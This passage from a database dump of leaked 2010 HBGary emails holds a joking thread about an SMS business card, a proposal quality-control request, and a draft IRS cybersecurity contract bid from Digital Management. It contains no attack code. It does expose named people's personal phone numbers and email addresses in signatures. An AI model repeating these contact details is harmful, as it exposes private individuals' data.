different.\r\n\r\n&nbsp;\r\n\r\nDo not include this table in your\r\nsections.&nbsp; &nbsp;Please return it to me with your section updates on\r\nSaturday. I will put them in the Quality Control Section of Vol 1.\r\n\r\nThanx\r\n\r\nKJK\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15278,'aaron_hbgary_com/15278.html'),(10283,'2010-08-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007993.M348445P14101Q5138.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: Mobile Biz Card','ROFLMAO!!!\r\n\r\n\r\nOn Fri, Aug 13, 2010 at 1:27 PM, Maria Lucas  wrote:\r\n> i only kjnow how to text to my contacts I will have to ask my daughter for\r\n> help:)\r\n>\r\n> On Fri, Aug 13, 2010 at 11:03 AM, Ted Vera  wrote:\r\n>>\r\n>> Do you use text messaging on your phone?\r\n>> Send a text message from your cell phone to the phone number 90210 with\r\n>> the message \"HBGary\"\r\n>>\r\n>>\r\n>>\r\n>> On Aug 13, 2010, at 12:02 PM, Maria Lucas  wrote:\r\n>>\r\n>> Ted I don\'t understand this..\r\n>>\r\n>> On Fri, Aug 13, 2010 at 10:59 AM, Ted Vera  wrote:\r\n>>>\r\n>>> Maria,\r\n>>>\r\n>>> Send a TXT to 90210, with the message \"hbgary\"\r\n>>>\r\n>>> You will receive a response back.  It\'s Bob\'s mobile biz card.  Bob\r\n>>> can then access a database that stores all of the phone numbers that\r\n>>> have txt\'ed him.\r\n>>>\r\n>>> Would you like to try it out for a month for free?  If so, what\r\n>>> keyword would you like?\r\n>>>\r\n>>> Some ideas:  virus, hbgarysales, marialucas, responder, ddna\r\n>>>\r\n>>> Regards,\r\n>>> Ted\r\n>>>\r\n>>>\r\n>>>\r\n>>> --\r\n>>> Ted Vera  |  President  |  HBGary Federal\r\n>>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>>> www.hbgary.com  |  ted@hbgary.com\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>>\r\n>> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n>> email: maria@hbgary.com\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>\r\n> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n> email: maria@hbgary.com\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',4531,'aaron_hbgary_com/4531.html'),(10284,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007993.M546036P14101Q5139.eml','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','Re: EXTERNAL:Quality Control','Can you send me the compliance and governance sections of the proposal that has been submitted.AaronOn Aug 13, 2010, at 3:22 PM, Kirby Kintner wrote:It seems I had the excel spreadsheet rolled up incorrectly and translated the wrong assignments. Here are the correct assignments.&nbsp;Technical Performance Quality Control Checkpoints1.3.1 IA Compliance·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Telos·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.3.2 IA Governance·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Telos·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.3.3 IA Technical Services·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HBGary·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.3.4 IA - General·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NGC·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.3.5 CCIP Support·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NGC·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;From:&nbsp;Friedman, Bruce L (IS) [mailto:bruce.friedman@ngc.com]&nbsp;Sent:&nbsp;Friday, August 13, 2010 3:14 PMTo:&nbsp;Kirby KintnerSubject:&nbsp;RE: EXTERNAL:Quality Control&nbsp;These are different assignment than the writing assignments, is that what you planned to do. For example, you switched 1.3.3 with 1.3.5 for TACS and NGC.&nbsp;Thanks,&nbsp;BruceBruce Friedman PMPNorthrop Grumman&nbsp;703 883 8883 (office)703 589 0917 (cell)703 556 1517 (fax)&nbsp;7575 Colshire Dr.Room 5013W, Mail Stop C5W1&nbsp;McLean, VA 22102&nbsp;&nbsp;From:&nbsp;Kirby Kintner [mailto:kkintner@digitalmanagement.com]&nbsp;Sent:&nbsp;Friday, August 13, 2010 2:49 PMTo:&nbsp;Aaron Barr; Fertal, Martin J (TASC); Sanderson, Robert; Friedman, Bruce L (IS)Cc:&nbsp;John Fanguy; William E. MillerSubject:&nbsp;EXTERNAL:Quality Control&nbsp;We need to add 4-5 specific quality control checkpoints for each SOW subtask, 1.3.1 – 1.3.5.I have attached a template that want you to use.&nbsp; Each subtask is marked with the company that needs to provide the QC checkpoints.&nbsp;And, just to clarify – I consider a checkpoint to be a critical step in a process where one would validate specific conditions or results.e.g. If uploading new firewall software, I would check the version number to be sure I had the correct product before loading it, and after loading it I would verify correct functionality by operating or testing the &nbsp;system. &nbsp;&nbsp;My example is simplistic and mundane.&nbsp; I need you to identify the ones that are more serious – those that would avoid major problems if caught. Do not include Performance Metrics – they are different.&nbsp;Do not include this table in your sections.&nbsp; &nbsp;Please return it to me with your section updates on Saturday. I will put them in the Quality Control Section of Vol 1.ThanxKJK',1055,'aaron_hbgary_com/1055.html'),(10285,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007993.M747028P14101Q5140.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Mobile Biz Card','wow.\r\n\r\nOn Aug 13, 2010, at 3:28 PM, Ted Vera wrote:\r\n\r\n> ROFLMAO!!!\r\n> \r\n> \r\n> On Fri, Aug 13, 2010 at 1:27 PM, Maria Lucas  wrote:\r\n>> i only kjnow how to text to my contacts I will have to ask my daughter for\r\n>> help:)\r\n>> \r\n>> On Fri, Aug 13, 2010 at 11:03 AM, Ted Vera  wrote:\r\n>>> \r\n>>> Do you use text messaging on your phone?\r\n>>> Send a text message from your cell phone to the phone number 90210 with\r\n>>> the message \"HBGary\"\r\n>>> \r\n>>> \r\n>>> \r\n>>> On Aug 13, 2010, at 12:02 PM, Maria Lucas  wrote:\r\n>>> \r\n>>> Ted I don\'t understand this..\r\n>>> \r\n>>> On Fri, Aug 13, 2010 at 10:59 AM, Ted Vera  wrote:\r\n>>>> \r\n>>>> Maria,\r\n>>>> \r\n>>>> Send a TXT to 90210, with the message \"hbgary\"\r\n>>>> \r\n>>>> You will receive a response back.  It\'s Bob\'s mobile biz card.  Bob\r\n>>>> can then access a database that stores all of the phone numbers that\r\n>>>> have txt\'ed him.\r\n>>>> \r\n>>>> Would you like to try it out for a month for free?  If so, what\r\n>>>> keyword would you like?\r\n>>>> \r\n>>>> Some ideas:  virus, hbgarysales, marialucas, responder, ddna\r\n>>>> \r\n>>>> Regards,\r\n>>>> Ted\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> --\r\n>>>> Ted Vera  |  President  |  HBGary Federal\r\n>>>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>>>> www.hbgary.com  |  ted@hbgary.com\r\n>>> \r\n>>> \r\n>>> \r\n>>> --\r\n>>> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>>> \r\n>>> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n>>> email: maria@hbgary.com\r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> \r\n>> \r\n>> --\r\n>> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>> \r\n>> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n>> email: maria@hbgary.com\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n\r\n',4935,'aaron_hbgary_com/4935.html'),(10286,'2010-08-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007993.M952397P14101Q5141.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Mobile Biz Card','---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Fri, Aug 13, 2010 at 1:31 PM\r\nSubject: Re: Mobile Biz Card\r\nTo: Maria Lucas \r\n\r\n\r\nOMG! You\'re killing me!\r\n\r\nOn Fri, Aug 13, 2010 at 1:29 PM, Maria Lucas  wrote:\r\n> IDK WHAT YOU MEAN\r\n>\r\n> On Fri, Aug 13, 2010 at 12:28 PM, Ted Vera  wrote:\r\n>>\r\n>> ROFLMAO!!!\r\n>>\r\n>>\r\n>> On Fri, Aug 13, 2010 at 1:27 PM, Maria Lucas  wrote:\r\n>> > i only kjnow how to text to my contacts I will have to ask my daughter\r\n>> > for\r\n>> > help:)\r\n>> >\r\n>> > On Fri, Aug 13, 2010 at 11:03 AM, Ted Vera  wrote:\r\n>> >>\r\n>> >> Do you use text messaging on your phone?\r\n>> >> Send a text message from your cell phone to the phone number 90210 with\r\n>> >> the message \"HBGary\"\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >> On Aug 13, 2010, at 12:02 PM, Maria Lucas  wrote:\r\n>> >>\r\n>> >> Ted I don\'t understand this..\r\n>> >>\r\n>> >> On Fri, Aug 13, 2010 at 10:59 AM, Ted Vera  wrote:\r\n>> >>>\r\n>> >>> Maria,\r\n>> >>>\r\n>> >>> Send a TXT to 90210, with the message \"hbgary\"\r\n>> >>>\r\n>> >>> You will receive a response back.  It\'s Bob\'s mobile biz card.  Bob\r\n>> >>> can then access a database that stores all of the phone numbers that\r\n>> >>> have txt\'ed him.\r\n>> >>>\r\n>> >>> Would you like to try it out for a month for free?  If so, what\r\n>> >>> keyword would you like?\r\n>> >>>\r\n>> >>> Some ideas:  virus, hbgarysales, marialucas, responder, ddna\r\n>> >>>\r\n>> >>> Regards,\r\n>> >>> Ted\r\n>> >>>\r\n>> >>>\r\n>> >>>\r\n>> >>> --\r\n>> >>> Ted Vera  |  President  |  HBGary Federal\r\n>> >>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> >>> www.hbgary.com  |  ted@hbgary.com\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >> --\r\n>> >> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>> >>\r\n>> >> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:\r\n>> >> 240-396-5971\r\n>> >> email: maria@hbgary.com\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >\r\n>> >\r\n>> >\r\n>> > --\r\n>> > Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>> >\r\n>> > Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:\r\n>> > 240-396-5971\r\n>> > email: maria@hbgary.com\r\n>> >\r\n>> >\r\n>> >\r\n>> >\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal\r\n>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n>\r\n>\r\n> --\r\n> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>\r\n> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n> email: maria@hbgary.com\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',16506,'aaron_hbgary_com/16506.html'),(10287,'2010-08-13','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007994.M319550P14101Q5142.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','TIPS4 Intro','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe operations of the IRS are mission-critical to the US economy.\r\nConsequently, the IRS computing infrastructure is constantly targeted for cyber\r\nattacks from numerous sources.  The protection of the IRS system complex and\r\nits sensitive information is a national priority.  \r\n\r\nIn Digital Management, IRS has a partner that brings the\r\ndepth and breadth of technology, strategy, implementation experience; and the\r\nright leadership, specialized skills, and relevant functional and industry\r\nexpertise to manage any IRS Cybersecurity challenge that might arise over the\r\nnext 10 years.  The team Digital Management has assembled demonstrates its\r\nrobust capabilities to address the priorities of the IRS throughout this\r\nproposal. The following table   (Exhibit A-1) summarizes our\r\nvalue proposition to the IRS.\r\n\r\nExhibit A-1. Team DMI’s Value Proposition to the IRS\r\n\r\n\r\n \r\n  \r\n   \r\n   Digital\r\n   Management’s Value Proposition to the IRS\r\n   \r\n  \r\n \r\n \r\n  \r\n  100% Cybersecurity Team\r\n  \r\n  \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  DMI and our\r\n  teaming partners are 100% focused on Cybersecurity. \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  We perform\r\n  350+ Certification and Accreditations (C&amp;A) annually.\r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  We execute more\r\n  than seven major Disaster Recovery plans annually. \r\n  \r\n \r\n \r\n  \r\n  CMMI Level 2, ISO 9001\r\n  processes and ANSI compliant EVMS\r\n  \r\n  \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  DMI is\r\n  appraised at CMMI Level 2 and is ISO\r\n  9001:2008 certified. \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  We are preparing\r\n  for CMMI Level 3 appraisal, expected this Fall.\r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  We have a fully\r\n  functioning ANSI/EIA 748A compliant EVMS that will be used for TIPSS-4 TO\r\n  management. \r\n  \r\n \r\n \r\n  \r\n  Extensive Cybersecurity\r\n  Bench Strength and Recruiting Capabilities\r\n  \r\n  \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  We have a pool\r\n  of nearly 600 Cybersecurity professionals to drawn from and we are\r\n  located near all key IRS offices.\r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  We maintain a database\r\n  of over 100 additional resources, pre-screened \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Our average\r\n  time to fill open positions is 5 business days with 20+ rapid response\r\n  recruiters across the country including the cities where IRS is located\r\n  \r\n \r\n \r\n  \r\n  Strong Employee\r\n  Retention/Continuity\r\n  \r\n  \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  We enjoy a 94%\r\n  employee retention rate due to competitive total compensation plans,\r\n  performance incentives, training, and recognition programs. \r\n  \r\n \r\n \r\n  \r\n  Thought Leadership\r\n  \r\n  \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  We have\r\n  identified a pool of thought-leaders and SMEs across our team\r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We will present “Cybersecurity State of the\r\n  Market” briefing twice a year. \r\n  \r\n \r\n \r\n  \r\n  Efficient Contract\r\n  Performance in a TO Environment \r\n  \r\n  \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  We excel in\r\n  TO driven environments and\r\n  currently  prime nine IDIQ contracts \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Over 75% of our revenue comes from TO-based IDIQ contracts. \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  We bring proven\r\n  organization structure, TO and Subcontractor management processes\r\n  successfully used on our other TO-based IDIQ contracts--GSA Alliant Small\r\n  Business, GSA 8(a) STARS and GSA MOBIS.\r\n  \r\n \r\n \r\n  \r\n  Senior Program Manager with\r\n  TIPSS-3 Experience\r\n  \r\n  \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  We bring a senior\r\n  and experienced Program Manager with a proven track record– Mr.\r\n  Mark Wisniewski who previously managed the TIPSS-3 program office and the\r\n  DHS Eagle program office for other large businesses. \r\n  \r\n \r\n \r\n  \r\n  Performance Based Contracts\r\n  Experience\r\n  \r\n  \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  We have a proven\r\n  track record, over 60% of our contracts are Performance Based-- methods include\r\n  Fixed Price, Cost Reimbursable and Incentive Based.\r\n  \r\n \r\n \r\n  \r\n  Effective Subcontractor\r\n  Management\r\n  \r\n  \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  We are the\r\n  prime contractor for 94% of our business. We manage more than 30\r\n  subcontractors on our current contracts. \r\n  \r\n \r\n \r\n  \r\n  Track Record of High\r\n  Quality Results\r\n  \r\n  \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  We proactively\r\n  monitor the quality of our services to our customers. Our current ratings\r\n  are well over 90 on a scale of 0 – 100 (excellent). \r\n  ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  All of our\r\n  projects have been delivered\r\n  on-time and on-budget.\r\n  \r\n \r\n\r\n\r\nDigital Management brings Cybersecurity expertise, bench\r\nstrength, thought leadership, proven CMMI, ISO and EVM processes and a track\r\nrecord of success in a TO environment that will allow IRS to successfully face\r\nany Cybersecurity challenge. \r\n\r\nA.1&nbsp;&nbsp;&nbsp;&nbsp; The\r\nDigital Management Team\r\n\r\nDigital\r\nManagement has assembled a team of strategic partners who are 100% focused on\r\nCybersecurity, to best meet the needs of IRS and the objectives of the TIPSS-4\r\nprogram.  The functional capabilities of our team members are summarized in\r\nExhibit A-2.\r\n\r\n&nbsp;\r\n\r\nExhibit A-2. Digital Management and Team Mapping Against IRS Requirements\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Principal Task Area\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  Telos\r\n  \r\n  \r\n  SeNet\r\n  Int’l\r\n  \r\n  \r\n  Tista\r\n  \r\n  \r\n  Lunarline\r\n  \r\n  \r\n  Fortify\r\n  \r\n  \r\n  TrustDigital\r\n  \r\n  \r\n  Digital Management\r\n  Team\r\n  \r\n \r\n \r\n  \r\n  Computer Security Awareness and Training\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Computer Security Incident Response\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Computer Security Planning\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Crypto Systems\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Digital Signatures\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Disaster Recovery, Continuity of Operations, &amp;\r\n  Contingency Planning\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Hot-site and Cold-site Support Services including\r\n  Hardware and Software\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Independent Verification and Validation\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Mainframe Automated Information Security Support\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Public Key Infrastructure (PK)\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Quantitative Risk Analysis of Large Sensitive Systems\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Security Certification and Accreditation\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Security for Small Systems, Telecommunications, and\r\n  Client Service\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Software/Hardware Maintenance and /or Licensing\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Systems Vulnerability Analysis/Assessment and Risk\r\n  Assessment\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Analysis and Design\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Applications Development\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  System Integration\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Information Technology Infrastructure Library (ITIL)\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Software Development\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  System Integration\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Test and Evaluation\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Training (Knowledge Transfer)\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Operations and Maintenance\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  ü\r\n  \r\n \r\n \r\n  \r\n  Total Cybersecurity Professionals\r\n  \r\n  \r\n  84\r\n  \r\n  \r\n  155\r\n  \r\n  \r\n  39\r\n  \r\n  \r\n  28\r\n  \r\n  \r\n  110\r\n  \r\n  \r\n  75\r\n  \r\n  \r\n  100\r\n  \r\n  \r\n  591\r\n  \r\n \r\n\r\n\r\n\r\n\r\nOur Cybersecurity Team of nearly 600 professionals can\r\ndeliver on every IRS requirement.\r\n\r\nA summary of the company highlights and major features of\r\neach team member include:\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDigital Management, Inc. CMMI\r\nLevel 2, ISO 9001:2008 certified; 8(a) Small Disadvantaged Business\r\nspecializing in Cybersecurity solutions and systems integration.  \r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTelos, Inc. One of the largest\r\nproviders of Certification and Accreditation (C&amp;A) services and solutions.\r\nServes IRS TIGDA, the US Armed Services and Intelligence Agencies.\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTista Science and Technology Corp.\r\nSDVOSB specializing in Cybersecurity. Serves the IRS Office Cybersecurity\r\nPolicy and Program Support initiative. \r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLunarline, Inc. 